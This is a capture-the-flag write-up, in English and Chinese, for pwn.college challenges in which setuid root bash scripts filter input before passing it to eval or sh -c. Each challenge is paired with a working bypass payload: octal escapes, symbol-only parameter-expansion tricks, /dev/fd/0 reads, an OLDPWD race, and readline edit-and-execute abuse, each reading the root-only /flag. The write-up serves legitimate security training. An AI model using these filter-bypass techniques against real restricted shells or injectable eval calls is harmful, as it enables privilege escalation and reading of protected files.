In the realm of the shell, brutal input restrictions may seem to be
impenetrable walls, the unyielding gatekeepers of commands. Yet, to the
adept practitioner, these walls are but illusions, mere whispers of
constraints. With cunning and a deep understanding of the shell’s inner
workings, one can bypass these seeming obstructions. Like a river
flowing around a stone, the input, seemingly restricted, finds its own
path. Embrace this lesson and realize that in the shell, as in life,
perceived limitations are often just opportunities for creative
solutions.
Rhythm of Restriction
1 2 3 4 5 6 7 ubuntu@input-restrictions~rhythm-of-restriction:~$ cat /challenge/run PATH=/usr/bin read INPUT < <(head -n1 | tr -d "[A-Za-z0-9/]" )eval "$INPUT "
1 2 3 4 ubuntu@input-restrictions~rhythm-of-restriction:~$ echo "/bin/cat /flag" > _ ubuntu@input-restrictions~rhythm-of-restriction:~$ /challenge/run . _ pwn.college{********************************************}
1 2 3 4 5 6 7 输入 . _ 时,tr -d 发现没有字母、数字或 /。变量 $INPUT 的值就是 . _。 eval ". _" 被执行。因为点号 . 是内置命令,它不需要 /usr/bin 里的任何外部可执行文件。 Bash 会去寻找名为 _ 的文件。虽然题目里的 PATH 被重置为 /usr/bin,但在 Bash 的机制中,如果 source 的目标文件不带路径斜杠,且在 PATH 中找不到,它会默认回退去搜索当前目录 (current directory)。 于是,它成功加载了你之前创建的 _ 文件,并在拥有 SUID 权限的 shell 环境下,执行了里面的 /bin/cat /flag。
Odyssey of the Octal
1 2 3 4 5 6 7 ubuntu@input-restrictions~odyssey-of-the-octal:~$ cat /challenge/run PATH=/usr/bin read INPUT < <(head -n1 | tr -d "[A-Za-z0-9./]" )eval "$INPUT "
1 2 3 ubuntu@input-restrictions~odyssey-of-the-octal:~$ /challenge/run $(<_) pwn.college{********************************************}
Riddle of the Radix
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ubuntu@input-restrictions~riddle-of-the-radix:~$ cat /challenge/run PATH=/usr/bin WORKDIR=$(mktemp -d) [ -n "$WORKDIR " ] || exit 1 cd $WORKDIR doit () { echo -n "" read -r INPUT < <(head -n1 | tr -d "[A-Za-z./]" ) eval "$INPUT " } doit
ANSI-C Quoting
$'\NNN' 这种语法允许通过八进制 (Octal) ASCII
码来表示任何字符。
1 2 3 ubuntu@input-restrictions~riddle-of-the-radix:~$ /challenge/run $'\057\142\151\156\057\143\141\164' $'\057\146\154\141\147' pwn.college{********************************************}
Whisper of the Withheld
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ubuntu@input-restrictions~whisper-of-the-withheld:~$ cat /challenge/run PATH=/usr/bin WORKDIR=$(mktemp -d) [ -n "$WORKDIR " ] || exit 1 cd $WORKDIR doit () { echo -n "" read INPUT < <(head -n1 | tr -d "[A-Za-z./]" ) eval "$INPUT " } doit
have now -r raw this time $'\NNN' ->
$'NNN' $'\\NNN' -> $'\NNN'
1 2 3 ubuntu@input-restrictions~whisper-of-the-withheld:~$ /challenge/run $'\\057\\142\\151\\156\\057\\143\\141\\164' $'\\057\\146\\154\\141\\147' pwn.college{********************************************}
Path of the Unseen
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ubuntu@input-restrictions~path-of-the-unseen:~$ cat /challenge/run PATH=/usr/bin WORKDIR=$(mktemp -d) [ -n "$WORKDIR " ] || exit 1 cd $WORKDIR doit () { echo -n "" read INPUT < <(head -n1 | tr -d "[A-Za-z0-9.~]" ) eval "$INPUT " } doit
1 2 3 4 5 6 7 8 9 ubuntu@input-restrictions~path-of-the-unseen:~$ echo "/bin/cat /flag" > /tmp/___ ubuntu@input-restrictions~path-of-the-unseen:~$ chmod +x /tmp/___ ubuntu@input-restrictions~path-of-the-unseen:~$ /challenge/run /*/___ pwn.college{********************************************}
Dance of the Disallowed
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ubuntu@input-restrictions~dance-of-the-disallowed:~$ cat /challenge/run PATH=/usr/bin WORKDIR=$(mktemp -d) [ -n "$WORKDIR " ] || exit 1 cd $WORKDIR doit () { echo -n "" read INPUT < <(head -n1 | tr -d "[A-Za-z0-9./~]" ) eval "$INPUT " } doit
1 2 3 4 5 6 7 8 ubuntu@input-restrictions~dance-of-the-disallowed:~$ /challenge/run __=${##} ;___=$(($__ -$__ ));____=$(($__ +$__ ));_____=$(($____ +$____ ));______=$(($_____ +$____ +$__ ));_______=${!#:___:__} ;________=${!#:_____:__} ;_________=${!#:______:__} ;$_________$________ $_______ ???? nl : /boot: Is a directory 1 pwn.college{********************************************} nl : /home: Is a directorynl : /proc: Is a directorynl : /root: Is a directorynl : /sbin: Is a directory
1 __=${##} ;___=$(($__ -$__ ));____=$(($__ +$__ ));_____=$(($____ +$____ ));______=$(($_____ +$____ +$__ ));_______=${!#:___:__} ;________=${!#:_____:__} ;_________=${!#:______:__} ;$_________$________ $_______ ????
__=$ →
参数个数的长度,拿到 1。
___=$(($__-$__)) →
1 - 1 = 0。
____=$(($__+$__)) →
1 + 1 = 2。
_____=$(($____+$____)) → 2 + 2 = 4。
______=$(($_____+$____+$__)) → 4 + 2 + 1 = 7。
$# 是 0,所以 ${!#} 会解析为
$0,即字符串 /challenge/run。
_______=${!#:___:__} → 提取索引 0,长度
1,得到斜杠 / 。
________=${!#:_____:__} → 提取索引 4,长度
1,得到字母 l 。
_________=${!#:______:__} → 提取索引 7,长度
1,得到字母 n 。
最后的 $_________$________ $_______????
展开后等效于:
因为题目环境配置了 PATH=/usr/bin,bash
会直接在路径中找到 /usr/bin/nl 并执行它。nl
会忽略掉那些作为目录的 /boot、/dev
Veil of the Forbidden
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ubuntu@input-restrictions~veil-of-the-forbidden:~$ cat /challenge/run PATH=/usr/bin WORKDIR=$(mktemp -d) [ -n "$WORKDIR " ] || exit 1 cd $WORKDIR doit () { echo -n "" read INPUT < <(head -n1 | tr -cd "[_$}{()#;:<=+]" ) eval "$INPUT " } doit
1 2 3 4 ubuntu@input-restrictions~veil-of-the-forbidden:~$ /challenge/run ____=<(:);___=$((++___));__=$((___+___+___+___+___+___+___+___));$(<${____:$#:$__} $# ) cat /flagpwn.college{********************************************}
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 漏洞出在 head -n1 上。它只消耗了标准输入的第一行。 只要在第一行用([_$}{()#;:<=+])拼凑出读取并执行标准输入的指令,第二行就可以 cat /flag ____=<(:) 利用进程替换生成 /dev/fd/63,并存入变量 ____(四个下划线)。在部分 Bash中,空的进程替换 <() 会被解析器判定为 Syntax Error。空指令 : 防止这种情况(Null Utility) ___=$((++___)) 自增数字 1。 __=$((___+___+...)) 利用 8 个 1 相加,造出数字 8。 ${____:$#:$__} 用 ${var:0:8} 语法从 /dev/fd/63 提取出 /dev/fd/。 ...$# 在末尾拼上代表 0 的 $#,合成 /dev/fd/0。 $(<...) 读取 stdin 里的 cat /flag 并将其作为命令执行
当你运行一个程序(也就是启动一个 process)时,kernel
会给这个进程分配一个专门的“文件追踪表”。表里的每一个编号,就叫
file descriptor (FD) 。
0 :永远是 standard input
(stdin,通常是你的键盘或上游管道)。
1 :永远是 standard output
(stdout,通常是你的屏幕)。
2 :永远是 standard error (stderr,报错信息)。
而 /dev/fd/ 是一个由 kernel 动态维护的 virtual
filesystem(虚拟文件系统),它通常只是一个指向
/proc/self/fd/ 的 symlink(符号链接)。如果你去
ls /dev/fd/,你看到的其实是你当前正在运行的这个进程 所打开的所有文件描述符。
当你输入 <(:) 也就是使用 Bash 的 process
substitution(进程替换)时
Bash 向 kernel 申请创建一个在内存里的匿名 pipe(管道)。
Bash 把子进程 : 的 stdout 接到这个管道的写入端。
Bash 把管道的读取端 作为一个 file descriptor
打开。
为了防止和程序员平时自己打开的低编号文件(比如 3, 4,
5)发生冲突,Bash
底层源码里有一个逻辑:尽可能挑选一个靠后的、空闲的高位数字 。在大多数现代
Linux 环境中,系统允许单个进程打开的最大文件数通常很大,但 Bash
为了安全兼容,经常默认分配 63 这个编号给 process
substitution 使用(有时也会是
62,取决于具体的系统环境和并发状况)。
执行 ____=<(:) 时,Bash 把上面的步骤做完后,会将
/dev/fd/63 直接返回,并赋值给变量 ____。
btw 变量名只允许大小写字母(a-z, A-Z)、数字(0-9)和下划线(_)
Your Misplaced Memories
When restrictions rule your thoughts, you might find the flag in a
misplaced memory.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ubuntu@input-restrictions~your-misplaced-memories:~$ cat /challenge/run PATH=/usr/bin WORKDIR=$(mktemp -d) [ -n "$WORKDIR " ] || exit 1 cd $WORKDIR doit () { echo -n "" read INPUT < <(head -n1 | tr -cd "[\-~]" ) eval "$INPUT " } doit
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ubuntu@input-restrictions~your-misplaced-memories:~$ mkdir -p /tmp/arch_btw ubuntu@input-restrictions~your-misplaced-memories:~$ cd /tmp/arch_btw ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ echo '#!/usr/bin/cat /flag' > /tmp/payload ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ chmod +x /tmp/payload ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ (sleep 5 && rm -rf /tmp/arch_btw && mv /tmp/payload /tmp/arch_btw) & [1] 314 ubuntu@input-restrictions~your-misplaced-memories:/tmp/arch_btw$ /challenge/run ~- pwn.college{********************************************} [1]+ Done ( sleep 5 && rm -rf /tmp/arch_btw && mv /tmp/payload /tmp/arch_btw )
Exclamations of Execution
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 ubuntu@input-restrictions~exclamations-of-execution:~$ cat /challenge/run.c int main(int argc, char *argv[]) { setreuid(0, 0); setregid(0, 0); // Use bash -c to source the script so that $0 is preserved from argv[0] // argv layout: bash -c ". /challenge/run-actual" <original argv[0]> <original // argv[1]> ... char **new_argv = malloc((argc + 4 ) * sizeof(char *)); new_argv[0] = "bash" ; new_argv[1] = "-pc" ; new_argv[2] = ". /challenge/run-actual" ; for (int i = 0; i < argc; i++) new_argv[3 + i] = argv[i]; new_argv[3 + argc] = NULL; execv("/bin/bash" , new_argv); return 1; } ubuntu@input-restrictions~exclamations-of-execution:~$ cat /challenge/run-actual PATH=/usr/bin WORKDIR=$(mktemp -d) [ -n "$WORKDIR " ] || exit 1 cd $WORKDIR doit () { echo -n "" read INPUT < <(head -c5 | tr -d "[A-Za-z0-9./~\-]" ) eval "$INPUT " } doit
1 2 ubuntu@input-restrictions~exclamations-of-execution:~$ echo '$__' | __="/bin/cat /flag" /challenge/run pwn.college{********************************************}
__="/bin/cat /flag":定义了一个名为 __
的环境变量,由于当前命令执行环境继承,这个变量会进入 root 权限的 bash
脚本中。
echo '$__':向管道输出了 $__\n( 4
个字节)。
tr
试图过滤,但由于字符串里全是非字母数字的符号,$__
被原封不动地保留并赋值给 INPUT。
eval "$INPUT" 被执行,实际上就是执行
eval "$__"。
Bash 展开变量 __,命令变为 /bin/cat /flag
并以 root 权限运行
Sensing of Secrets
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ubuntu@input-restrictions~sensing-of-secrets:~$ cat /challenge/run PATH=/usr/bin WORKDIR=$(mktemp -d) [ -n "$WORKDIR " ] || exit 1 cp "$1 " "$WORKDIR /dangerous-script.sh" cd $WORKDIR doit () { echo -n "" cat dangerous-script.sh | tr -cd "[\n $\-/A-Za-z]" | grep -E "^(echo|read) " > safe-script.sh bash safe-script.sh } doit
1 2 3 4 5 6 7 8 9 10 11 12 13 ubuntu@input-restrictions~sensing-of-secrets:~$ /challenge/run /tmp/tmp /flag readline: /flag: line 1: pwn.college{********************************************}: no key sequence terminator ^C ubuntu@input-restrictions~sensing-of-secrets:~$ cat /tmp/tmp read INPUTRC read -e
A String of Secrecy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ubuntu@input-restrictions~a-string-of-secrecy:~$ cat /challenge/run PATH=/usr/bin WORKDIR=$(mktemp -d) [ -n "$WORKDIR " ] || exit 1 cp "$1 " "$WORKDIR /dangerous-script.sh" cd $WORKDIR doit () { echo -n "" cat dangerous-script.sh | tr -cd "[\n $\-/a-z]" | grep -E "^(echo|read) " > safe-script.sh bash safe-script.sh } doit
1 2 3 4 5 6 7 8 9 10 read aread $a read -eubuntu@input-restrictions~a-string-of-secrecy:~$ /challenge/run /tmp/tmp INPUTRC /flag readline: /flag: line 1: pwn.college{********************************************}: no key sequence terminator ^C
The Secret, Commanded
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ubuntu@input-restrictions~the-secret-commanded:~$ cat /challenge/run PATH=/usr/bin WORKDIR=$(mktemp -d) [ -n "$WORKDIR " ] || exit 1 cp "$1 " "$WORKDIR /dangerous-script.sh" cd $WORKDIR doit () { echo -n "" cat dangerous-script.sh | tr -cd "[\n \-/a-z]" | grep -E "^(echo|read) " > safe-script.sh bash safe-script.sh } doit
1 2 3 4 5 6 7 8 9 ubuntu@input-restrictions~the-secret-commanded:~$ echo "read -e" > /tmp/payload ubuntu@input-restrictions~the-secret-commanded:~$ /challenge/run /tmp/payload cat /flag10 wq 10 cat /flagpwn.college{********************************************} wq
Bash 的 Readline 默认键绑定(Emacs 模式)中,藏着一个内部函数:
edit-and-execute-command (这也正是题目
“Commanded” 的双关语由来)。
当你在终端输入了一半的命令,突然觉得太长太复杂,你可以按下特定的快捷键。Bash
会立刻把你当前敲击的内容保存到一个临时文件中,并用系统默认的编辑器(vi、nano
或 emacs, in this dojo we use
ed)打开它。当你保存并退出编辑器时,Bash 会直接以当前 Shell
的权限执行文件里的命令
因为整个外部包装器 (exec-suid) 是以 root
权限运行的,所以这个 Readline 调起的执行操作,同样拥有 root 权限。
1 /challenge/run /tmp/payload
程序会静默挂起(此时它正在以 root 权限执行
read -e,等待输入)。
在键盘上敲下拿 flag 的命令:cat /flag
(注意别按回车)
接下来 先按 Ctrl+X,然后按
Ctrl+E
系统会拉起 ed
输入 wq,按回车。
Bash 会接管这段文本,在 root 上下文中执行
cat /flag。
The Stumble From Safety
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ubuntu@input-restrictions~the-stumble-from-safety:~$ cat /challenge/run PATH=/usr/bin WORKDIR=$(mktemp -d) [ -n "$WORKDIR " ] || exit 1 cp "$1 " "$WORKDIR /dangerous-script.sh" cd $WORKDIR doit () { echo -n "" cat dangerous-script.sh | tr -cd "[\n \-/0-9a-z]" | grep -E "^(echo|read) " > safe-script.sh bash safe-script.sh } doit
1 2 3 4 5 6 7 8 9 echo "read -e" > /tmp/payloadubuntu@input-restrictions~the-stumble-from-safety:~$ /challenge/run /tmp/payload cat /flag10 wq 10 cat /flagpwn.college{********************************************} ^C
Precision of Parameters
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ubuntu@input-restrictions~precision-of-parameters:~$ cat /challenge/run PATH=/usr/bin WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1 cd $WORKDIR HOME=$WORKDIR unset OLDPWD cp /flag $WORKDIR read -r INPUT[ "${#INPUT} " -gt 5 ] && exit 2 sh -c "$INPUT " < /dev/null
1 2 3 4 5 6 7 8 9 ubuntu@input-restrictions~precision-of-parameters:~$ /challenge/run cat *pwn.college{********************************************} ubuntu@input-restrictions~precision-of-parameters:~$ /challenge/run tac *pwn.college{********************************************} ubuntu@input-restrictions~precision-of-parameters:~$ /challenge/run nl * 1 pwn.college{********************************************}
Brevity’s Enigma
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 ubuntu@input-restrictions~brevitys-enigma:~$ cat /challenge/run PATH=/usr/bin WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1 cd $WORKDIR HOME=$WORKDIR unset OLDPWDcp /flag .while [ "$INPUT " != "exit" ]do read -r INPUT [ "${#INPUT} " -gt 4 ] && exit 2 sh -c "$INPUT " < /dev/null 2>/dev/null done
1 2 3 ubuntu@input-restrictions~brevitys-enigma:~$ /challenge/run nl * 1 pwn.college{********************************************}
Essense of Economy
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ubuntu@input-restrictions~essense-of-economy:~$ cat /challenge/run PATH=/usr/bin WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1 cd $WORKDIR HOME=$WORKDIR unset OLDPWDwhile [ "$INPUT " != "exit" ]do read -r INPUT [ "${#INPUT} " -gt 5 ] && exit 2 sh -c "$INPUT " < /dev/null 2>/dev/null done
1 2 3 ubuntu@input-restrictions~essense-of-economy:~$ /challenge/run nl /* 1 pwn.college{********************************************}
Mirage of Minimalism
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ubuntu@input-restrictions~mirage-of-minimalism:~$ cat /challenge/run PATH=/usr/bin WORKDIR=$(mktemp -p $(mktemp -d /tmp/XXXXXXX) -d XXXXXXXX) || exit 1 cd $WORKDIR HOME=$WORKDIR unset OLDPWDwhile [ "$INPUT " != "exit" ]do read -r INPUT [ "${#INPUT} " -gt 4 ] && exit 2 sh -c "$INPUT " < /dev/null 2>/dev/null done
1 2 3 4 5 ubuntu@input-restrictions~mirage-of-minimalism:~$ /challenge/run >cat * /* pwn.college{********************************************} ^C